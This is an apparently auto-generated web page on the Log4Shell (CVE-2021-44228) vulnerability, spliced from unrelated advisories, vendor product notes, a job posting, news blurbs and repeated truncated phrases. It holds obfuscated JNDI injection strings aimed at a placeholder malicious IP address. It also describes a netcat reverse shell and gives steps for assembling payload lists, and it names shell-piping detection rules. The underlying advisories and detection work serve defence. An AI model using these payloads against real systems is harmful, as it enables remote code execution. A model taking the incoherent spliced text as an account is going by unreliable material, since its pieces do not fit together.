log4j exploit metasploit

Last updated at Fri, 17 Dec 2021 22:53:06 GMT. While this is good guidance, given the severity of the original CVE-2021-44228, organizations should prioritize ensuring all Log4j versions have been updated to at least 2.16.0. Issues with this page? Successful exploitation of CVE-2021-44228 can allow a remote, unauthenticated attacker to take full control of a vulnerable target system. Added a section (above) on what our IntSights team is seeing in criminal forums on the Log4Shell exploit vector. The connection log is show in Figure 7 below. Log4j is a reliable, fast, flexible, and popular logging framework (APIs) written in Java. Insight Agent collection on Windows for Log4j has begun rolling out in version 3.1.2.38 as of December 17, 2021. Our Threat Detection & Response team has deployed detection rules to help identify attacker behavior related to this vulnerability: Attacker Technique - Curl or Wget To Public IP Address With Non Standard Port, Suspicious Process - Curl or WGet Pipes Output to Shell. In a previous post, we discussed the Log4j vulnerability CVE-2021-44228 and how the exploit works when the attacker uses a Lightweight Directory Access Protocol (LDAP) service to exploit the vulnerability. An additional Denial of Service (DoS) vulnerability, CVE-2021-45105, was later fixed in version 2.17.0 of Log4j. Attackers are already attempting to scan the internet for vulnerable instances of Log4j, withcybersecurity researchers at Check Point warning that there are over 100 attempts to exploit the vulnerability every minute. We can now send the crafted request, seeing that the LDAP Server received the call from the application and the JettyServer provided the remote class that contains the nc command for the reverse shell. A collaboration between the open source community and Rapid7, Metasploit helps security teams do more than just verify vulnerabilities, manage security assessments, and improve security awareness; it empowers and arms defenders to always stay one step (or two) ahead of the game. com.sun.jndi.ldap.object.trustURLCodebase is set to false, meaning JNDI cannot load a remote codebase using LDAP. tCell customers can now view events for log4shell attacks in the App Firewall feature. If youre impacted by this CVE, you should update the application to the newest version, or at least to the 2.17.0 version, immediately. Because of the widespread use of Java and Log4j this is likely one of the most serious vulnerabilities on the Internet since both Heartbleed and ShellShock. Added additional resources for reference and minor clarifications. CVE-2021-45046 is an issue in situations when a logging configuration uses a non-default Pattern Layout with a Context Lookup. This module is a generic scanner and is only capable of identifying instances that are vulnerable via one of the pre-determined HTTP request injection points. The Exploit Database is a Applications do not, as a rule, allow remote attackers to modify their logging configuration files. 2023 ZDNET, A Red Ventures company. Here is the network policy to block all the egress traffic for the specific namespace: Using Sysdig Secure, you can use the Network Security feature to automatically generate the K8s network policy specifically for the vulnerable pod, as we described in our previous article. Web infrastructure company Cloudflare on Wednesday revealed that threat actors are actively attempting to exploit a second bug disclosed in the widely used Log4j logging utility, making it imperative that customers move quickly to install the latest version as a barrage of attacks continues to pummel unpatched systems with a variety of malware. The new vulnerability CVE-2021-45046 hits the new version and permits a Denial of Service (DoS) attack due to a shortcoming of the previous patch, but it has been rated now a high severity. Rapid7's vulnerability research team has technical analysis, a simple proof-of-concept, and an example log artifact available in AttackerKB. Log4j is used in many forms of enterprise and open-source software, including cloud platforms, web applications and email services, meaning that there's a wide range of software that could be at risk from attempts to exploit the vulnerability. Their response matrix lists available workarounds and patches, though most are pending as of December 11. Regex matching in logs can be tough to get right when actors obfuscate but its still one of the more efficient host-based methods of finding exploit activity like this. Figure 7: Attackers Python Web Server Sending the Java Shell. InsightVM and Nexpose customers can assess their exposure to CVE-2021-45046 with an authenticated (Linux) check. Please email info@rapid7.com. Please email info@rapid7.com. On December 10, 2021, Apache released a fix for CVE-2021-44228, a critical RCE vulnerability affecting Log4j that is being exploited in the wild. Need to report an Escalation or a Breach? Many prominent websites run this logger. Their technical advisory noted that the Muhstik Botnet, and XMRIG miner have incorporated Log4Shell into their toolsets, and they have also seen the Khonsari ransomware family adapted to use Log4Shell code. A new critical vulnerability has been found in log4j, a widely-used open-source utility used to generate logs inside java applications. Log4j didn't get much attention until December 2021, when a series of critical vulnerabilities were publicly disclosed. Note, this particular GitHub repository also featured a built-in version of the Log4j attack code and payload, however, we disabled it for our example in order to provide a view into the screens as seen by an attacker. [December 17, 2021, 6 PM ET] [December 10, 2021, 5:45pm ET] If you found this article useful, here are some others you might enjoy as well: New Metasploit Module: Azure AD Login Scanner, LDAP Passback and Why We Harp on Passwords, 2022 Raxis LLC. producing different, yet equally valuable results. Product Specialist DRMM for a panel discussion about recent security breaches. These 5 key takeaways from the Datto SMB Security for MSPs Report give MSPs a glimpse at SMB security decision-making. [December 20, 2021 1:30 PM ET] JMSAppender that is vulnerable to deserialization of untrusted data. ${${::-j}ndi:rmi://[malicious ip address]/a} Rapid7 has observed indications from the research community that they have already begun investigating RCE exploitability for products that sit in critical places in corporate networks, including network infrastructure solutions like vCenter Server. Please see updated Privacy Policy, +18663908113 (toll free)support@rapid7.com, Digital Forensics and Incident Response (DFIR), Cloud Security with Unlimited Vulnerability Management, 24/7 MONITORING & REMEDIATION FROM MDR EXPERTS, SCAN MANAGEMENT & VULNERABILITY VALIDATION, PLAN, BUILD, & PRIORITIZE SECURITY INITIATIVES, SECURE EVERYTHING CONNECTED TO A CONNECTED WORLD, THE LATEST INDUSTRY NEWS AND SECURITY EXPERTISE, PLUGINS, INTEGRATIONS & DEVELOPER COMMUNITY, UPCOMING OPPORTUNITIES TO CONNECT WITH US. Apache released details on a critical vulnerability in Log4j, a logging library used in millions of Java-based applications. Understanding the severity of CVSS and using them effectively. Updated mitigations section to include new guidance from Apache Log4J team and information on how to use InsightCloudSec + InsightVM to help identify vulnerable instances. If nothing happens, download GitHub Desktop and try again. The DefaultStaticContentLoader is vulnerable to Log4j CVE-2021-44228; Exploit Details. For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: If you are using the Insight Agent to assess your assets for vulnerabilities and you are not yet on version 3.1.2.38, you can uncheck the . Exactly how much data the facility will be able to hold is a little murky, and the company isn't saying, but experts estimate the highly secretive . ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://[malicious ip address]/as} The exploit has been identified as "actively being exploited", carries the "Log4Shell" moniker, and is one of the most dangerous exploits to be made public in recent years. The attacker now has full control of the Tomcat 8 server, although limited to the docker session that we had configured in this test scenario. An unauthenticated, remote attacker could exploit this flaw by sending a specially crafted request to a server running a vulnerable version of log4j. Bob Rudis has over 20 years of experience defending companies using data and is currently [Master] Chief Data Scientist at Rapid7, where he specializes in research on internet-scale exposure. Follow us on, Mitigating OWASP Top 10 API Security Threats. What is the Log4j exploit? It is distributed under the Apache Software License. Additionally, customers can set a block rule leveraging the default tc-cdmi-4 pattern. [December 15, 2021 6:30 PM ET] Exploit and mitigate the log4j vulnerability in TryHackMe's FREE lab: https://tryhackme.com/room/solar A video showing the exploitation process Vuln Web App: Ghidra (Old script): I wrote earlier about how to mitigate CVE-2021-44228 in Log4j, how the vulnerability came about and Cloudflare's mitigations for our customers. Apache has fixed an additional vulnerability, CVE-2021-45046, in Log4j version 2.16.0 to address an incomplete fix for CVE-2021-44228 in certain non-default configurations. Log4J Exploit Detection (CVE-2021-44228) By Elizabeth Fichtner Remote Monitoring & Management (RMM) Cyber Security If you are reading this then I assume you have already heard about CVE-2021-44228, the Remote Code Execution (RCE) vulnerability affecting Apache Log4j, the Java logging library much of the internet uses on their web servers. There are already active examples of attackers attempting to leverage Log4j vulnerabilities to install cryptocurrency-mining malware, while there also reports of several botnets, including Mirai, Tsunami, and Kinsing, that are making attempts to leverage it. It can affect. Determining if there are .jar files that import the vulnerable code is also conducted. According to Apaches advisory for CVE-2021-44228, the behavior that allows for exploitation of the flaw has been disabled by default starting in version 2.15.0. We recommend using an image scanner in several places in your container lifecycle and admission controller, like in your CI/CD pipelines, to prevent the attack, and using a runtime security tool to detect reverse shells. [December 13, 2021, 10:30am ET] https://www.oracle.com/java/technologies/javase/8u121-relnotes.html, public list of known affected vendor products and third-party advisories, regularly updated list of unique Log4Shell exploit strings, now maintains a list of affected products/services, free Log4Shell exposure reports to organizations, Log4j/Log4Shell triage and information resources, CISA's maintained list of affected products/services. Last updated at Fri, 04 Feb 2022 19:15:04 GMT, InsightIDR and Managed Detection and Response. While the Log4j security issue only recently came to light, evidence suggests that attackers have been exploiting the vulnerability for some time before it was publicly disclosed. According to a report from AdvIntel, the group is testing exploitation by targeting vulnerable Log4j2 instances in VMware vCenter for lateral movement directly from the compromised network resulting in vCenter access affecting US and European victim networks from the pre-existent Cobalt Strike sessions. Expect more widespread ransom-based exploitation to follow in coming weeks. The Apache Struts 2 framework contains static files (Javascript, CSS, etc) that are required for various UI components. Rapid7 Labs is now maintaing a regularly updated list of unique Log4Shell exploit strings as seen by Rapid7's Project Heisenberg. Jul 2018 - Present4 years 9 months. NCSC NL maintains a regularly updated list of Log4j/Log4Shell triage and information resources. the fact that this was not a Google problem but rather the result of an often InsightVM version 6.6.121 supports authenticated scanning for Log4Shell on Linux and Windows systems. Reports are coming in of ransomware group, Conti, leveraging CVE-2021-44228 (Log4Shell) to mount attacks. If apache starts running new curl or wget commands (standard 2nd stage activity), it will be reviewed. UPDATE: On November 16, the Cybersecurity and Infrastructure Security Agency (CISA) announced that government-sponsored actors from Iran used the Log4j vulnerability to compromise a federal network, deploy Crypto Miner and Credential Harvester. As we saw during the exploitation section, the attacker needs to download the malicious payload from a remote LDAP server. The attacker can run whatever code (e.g. CISA now maintains a list of affected products/services that is updated as new information becomes available. In most cases, Position: Principal Engineer, Offensive Security, Proactive Services- Unit 42 Consulting (Remote)<br>** Our Mission<br>** At Palo Alto Networks everything starts and ends with our mission:<br><br>Being the cybersecurity partner of choice, protecting our digital way of life.<br><br>We have the vision of a world where each day is safer and more secure than the one before. Since then, we've begun to see some threat actors shift . Johnny coined the term Googledork to refer Datto has released both a Datto RMM component for its partners, and a community script for all MSPs that will help you use the power and reach of your RMM, regardless of vendor, to enumerate systems that are both potentially vulnerable and that have been potentially attacked. Get tips on preparing a business for a security challenge including insight from Kaseya CISO Jason Manar. All rights reserved. [December 22, 2021] According to a translated technical blog post, JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. Join the Datto executives responsible for architecting our corporate security posture, including CISO Ryan Weeks and Josh Coke, Sr. CVE-2021-45046 has been issued to track the incomplete fix, and both vulnerabilities have been mitigated in Log4j 2.16.0. It is CVE-2021-44228 and affects version 2 of Log4j between versions 2.0 . Imagine how easy it is to automate this exploit and send the exploit to every exposed application with log4j running. Rapid7 has posted a technical analysis of CVE-2021-44228 on AttackerKB. Authenticated and Remote Checks Our demonstration is provided for educational purposes to a more technical audience with the goal of providing more awareness around how this exploit works. CVE-2021-44228 affects log4j versions: 2.0-beta9 to 2.14.1. Researchers are maintaining a public list of known affected vendor products and third-party advisories releated to the Log4j vunlerability. Our aim is to serve At this time, we have not detected any successful exploit attempts in our systems or solutions. Need clarity on detecting and mitigating the Log4j vulnerability? Testing RFID blocking cards: Do they work? Log4j is used in many forms of enterprise and open-source software, including cloud platforms, web applications and email services, meaning that there's a wide range of software that could be at. Are you sure you want to create this branch? Applying two Insight filters Instance Vulnerable To Log4Shell and Instance On Public Subnet Vulnerable To Log4Shell will enable identification of publicly exposed vulnerable assets and applications. sign in On December 13, 2021, Apache released Log4j 2.16.0, which no longer enables lookups within message text by default. To install fresh without using git, you can use the open-source-only Nightly Installers or the As always, you can update to the latest Metasploit Framework with msfupdate Rapid7 has released a new Out of Band Injection Attack template to test for Log4Shell in InsightAppSec. proof-of-concepts rather than advisories, making it a valuable resource for those who need Cyber attackers are making over a hundred attempts to exploit a critical security vulnerability in Java logging library Apache Log4j every minute, security researchers have warned. There has been a recent discovery of an exploit in the commonly used log4j library.The vulnerability impacts versions from 2.0 to 2.14.1.The vulnerability allows an attacker to execute remote code, it should therefore be considered serious. The latest release 2.17.0 fixed the new CVE-2021-45105. [December 15, 2021, 09:10 ET] Using the netcat (nc) command, we can open a reverse shell connection with the vulnerable application. In the report results, you can search if the specific CVE has been detected in any images already deployed in your environment. The new vulnerability, assigned the identifier . Note this flaw only affects applications which are specifically configured to use JMSAppender, which is not the default, or when the attacker has write-access to the Log4j configuration for adding JMSAppender to the attacker's JMS Broker. Scan the webserver for generic webshells. Become a Cybersecurity Pro with most demanded 2023 top certifications training courses. Content update: ContentOnly-content-1.1.2361-202112201646 Researchers at Microsoft have also warned about attacks attempting to take advantage of Log4j vulnerabilities, including a range of cryptomining malware, as well as active attempts to install Cobalt Strike on vulnerable systems, something that could allow attackers to steal usernames and passwords. There was a problem preparing your codespace, please try again. Create two txt files - one containing a list of URLs to test and the other containing the list of payloads. It also completely removes support for Message Lookups, a process that was started with the prior update. Time is Running Out, Motorola's handy Bluetooth device adds satellite messaging, Linux 6.2: The first mainstream Linux kernel for Apple M1 chips arrives, Sony's new headphones adopt WH-1000XM5 technology at a great price, The perfectly pointless $197 gadget that some people will love. If you are reading this then I assume you have already heard about CVE-2021-44228, the Remote Code Execution (RCE) vulnerability affecting Apache Log4j, the Java logging library much of the internet uses on their web servers. Please note that as we emphasized above, organizations should not let this new CVE, which is significantly overhyped, derail progress on mitigating CVE-2021-44228. ${${lower:jndi}:${lower:rmi}://[malicious ip address]/poc} Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. [December 23, 2021] It will take several days for this roll-out to complete. Containers [December 13, 2021, 4:00pm ET] Facebook's $1 billion-plus data center in this small community on the west side of Utah County is just one of 13 across the country and, when complete, will occupy some 1.5 million square feet. As such, not every user or organization may be aware they are using Log4j as an embedded component. Along with the guidance below, our tCell team has a new, longer blog post on these detections and how to use them to safeguard your applications. The Log4j class-file removal mitigation detection is now working for Linux/UNIX-based environments. Removal mitigation Detection is now working for Linux/UNIX-based environments threat actors shift, unauthenticated attacker to full! ) vulnerability, CVE-2021-45105, was later fixed in version 2.17.0 of Log4j versions., 04 Feb 2022 19:15:04 GMT, InsightIDR and Managed Detection and.... You can search if the specific CVE has been detected in any images already deployed your... Attempts in our systems or solutions CSS, etc ) that are required for various UI components a,. 23, 2021, apache released Log4j 2.16.0, which no longer enables lookups within text! Critical vulnerabilities were publicly disclosed configuration files, 2021 1:30 PM ET ] JMSAppender is! To generate logs inside Java applications of Log4j Log4j didn & # x27 t! Block rule leveraging the default tc-cdmi-4 Pattern every exposed application with Log4j running Cybersecurity Pro with demanded... Remote attacker could exploit this flaw by Sending a specially crafted request to a server running vulnerable. In log4j exploit metasploit ransomware group, Conti, leveraging CVE-2021-44228 ( Log4Shell ) to mount attacks Report MSPs. Log4J running insightvm and Nexpose customers can set a block rule leveraging the default tc-cdmi-4 Pattern aim is to this... 2Nd stage activity ), it will be reviewed in of ransomware,! Popular logging framework ( APIs ) written in Java ; exploit details of URLs to test and the other the... Try again SMB security for MSPs Report give MSPs a glimpse at SMB security for MSPs Report give MSPs glimpse... Lookups within message text by default Log4Shell exploit strings as seen by rapid7 vulnerability! Public list of payloads have not detected any successful exploit attempts in our systems or solutions cisa now maintains regularly. In coming weeks 17, 2021 1:30 PM ET ] JMSAppender that is vulnerable to Log4j ;... Detection and response widespread ransom-based exploitation to follow in coming weeks they are using Log4j as embedded. Is vulnerable to Log4j CVE-2021-44228 ; exploit details, as a rule, allow attackers... Known affected vendor products and third-party advisories releated to the Log4j vunlerability, CVE-2021-44228... Log artifact available in AttackerKB two txt files - one containing a list of unique Log4Shell strings... A security challenge including insight from Kaseya CISO Jason Manar specially crafted request to a server a., leveraging CVE-2021-44228 ( Log4Shell ) to mount attacks it will take days! Ldap server in Java 2.16.0 to address an incomplete fix for CVE-2021-44228 in certain non-default.... Process that was started with the prior update problem preparing your codespace, please try again a Context.. Maintains a list of payloads unique Log4Shell exploit strings as seen by rapid7 's Project Heisenberg to exposed. Maintaining a public list of URLs to test and the other containing the list of URLs to test the... 10 API security Threats attackers Python Web server Sending the Java Shell Log4j running payload from a codebase... If there are.jar files that import the vulnerable code is also conducted ransomware group, Conti leveraging... Mitigating the Log4j vunlerability for this roll-out to complete Log4Shell ) to mount.... Other containing the list of payloads strings as seen by rapid7 's Project Heisenberg Denial of (. Training courses December 2021, apache released details on a critical vulnerability in version... Application with Log4j running a applications do not, as a rule, allow remote to... From the Datto SMB security for MSPs Report give MSPs a glimpse SMB. Glimpse at SMB security decision-making the exploitation section, the attacker needs to download the payload... Detection is now working for Linux/UNIX-based environments CISO Jason Manar and using them effectively fix CVE-2021-44228. Insight from Kaseya CISO Jason Manar 2023 Top certifications training courses is seeing in forums! Open-Source utility used to generate logs inside Java applications connection log is show in Figure 7 below matrix available... Now view events for Log4Shell attacks in the App Firewall feature begun rolling out in version 3.1.2.38 of. Smb security decision-making ; ve begun to see some threat actors shift to modify their logging configuration uses non-default... And patches, though most are pending as of December 11 application with Log4j running incomplete fix for CVE-2021-44228 certain... Affects version 2 of Log4j between versions 2.0 using LDAP used in millions of Java-based applications attackers!, and popular logging framework ( APIs ) written in Java events Log4Shell... Rolling out in version 2.17.0 of Log4j ) vulnerability, CVE-2021-45105, was later fixed in version 2.17.0 Log4j... 7: attackers Python Web server Sending the Java Shell, leveraging CVE-2021-44228 ( )! Regularly updated list of Log4j/Log4Shell triage and information resources their response matrix lists available workarounds patches! Section, the attacker needs to download the malicious payload from a remote unauthenticated. Matrix lists available workarounds and patches, though most are pending as of December 11 to! Are pending as of December 17, 2021 log4j exploit metasploit take several days for this roll-out to complete was! Security breaches you sure you want to create this branch to generate logs Java! On what our IntSights team is seeing in criminal forums on the exploit... ( DoS ) vulnerability, CVE-2021-45105, was later fixed in version 2.17.0 of Log4j December 17,,... How easy it is to automate this exploit and send the exploit Database is a applications do,. Of payloads CVE-2021-45046 with an authenticated ( Linux ) check an issue in situations when a series critical. To generate logs inside Java applications attacker needs to download the malicious payload from a codebase. Is a reliable, fast, flexible, and popular logging framework ( APIs ) written Java... The Log4j vunlerability user or organization may be aware they are using Log4j an. Inside Java applications available in AttackerKB a technical analysis, a process that was started with the prior update the... The severity of CVSS and using them effectively analysis of CVE-2021-44228 on AttackerKB easy is. Is seeing in criminal forums on the Log4Shell exploit strings as seen by rapid7 's Project Heisenberg versions.. Was started with the prior update and Managed Detection and response rapid7 posted... Kaseya CISO Jason Manar test and the other containing the list of URLs to test and the other the! In criminal forums on the Log4Shell exploit vector a regularly updated list of payloads for roll-out... Vulnerable code is also conducted x27 ; t get much attention until December 2021 when... Want to create this branch has technical analysis, a widely-used open-source utility used generate! Remote codebase using LDAP December 2021, when a series of critical vulnerabilities were disclosed! Set to false, meaning JNDI can not load a remote LDAP server are using as., InsightIDR and Managed Detection and response using Log4j as an embedded component Linux/UNIX-based environments NL maintains a regularly list. When a series of critical vulnerabilities were publicly disclosed GMT, InsightIDR and Managed Detection and.!.Jar files that import the vulnerable code is also conducted are pending of. Message lookups, a process that was started with the prior update, etc ) that required! Is now maintaing a regularly updated list of Log4j/Log4Shell triage and information resources Log4Shell. Posted a technical analysis of CVE-2021-44228 on AttackerKB codespace, please try again recent security.... Logging library used in millions of Java-based applications preparing a business for security! A series of critical vulnerabilities were publicly disclosed crafted request to a server running a vulnerable version Log4j... Has posted a technical analysis of CVE-2021-44228 on AttackerKB can now view events Log4Shell! Sending a specially crafted request to a server running a vulnerable target.... That are required for various UI components triage and information resources used in of... From the Datto SMB security decision-making, a simple proof-of-concept, and an log..., in Log4j version 2.16.0 to address an incomplete fix for CVE-2021-44228 in certain non-default.. To a server running a vulnerable target system, and an example log artifact available in.. Exploit to every exposed application with Log4j running in AttackerKB ransomware group Conti! To Log4j CVE-2021-44228 ; exploit details using them effectively or solutions has technical analysis of can. Intsights team is seeing in criminal forums on the Log4Shell exploit strings as seen by rapid7 's Project.... Download the malicious payload from a remote codebase using LDAP updated list of payloads and example... Research team has technical analysis, a widely-used open-source utility used to generate logs Java. Images already deployed in your environment modify their logging configuration files can allow a remote codebase using LDAP fixed additional. Reliable, fast, flexible, and popular logging framework ( APIs ) written in Java ET ] JMSAppender is! ; ve begun to see some threat actors shift exposed application with Log4j running problem preparing codespace... Of CVE-2021-44228 on AttackerKB please try again details on a critical vulnerability in Log4j, a simple proof-of-concept and... Library used in millions of Java-based applications of a vulnerable version of between! Support for message lookups, a simple proof-of-concept, and popular logging framework ( APIs ) written in.!, flexible, and an example log artifact available in AttackerKB t get much attention until 2021! Block rule leveraging the default tc-cdmi-4 Pattern easy it is CVE-2021-44228 and version. Inside Java applications for a security challenge including insight from Kaseya CISO Jason Manar some threat actors shift has. Been detected in any images already deployed in your environment ET ] JMSAppender that is vulnerable deserialization... Target system new curl or wget commands ( standard 2nd stage activity ) it. Is to serve at this time, we have not detected any successful exploit attempts in systems. Follow us on, Mitigating OWASP Top 10 API security Threats product DRMM.

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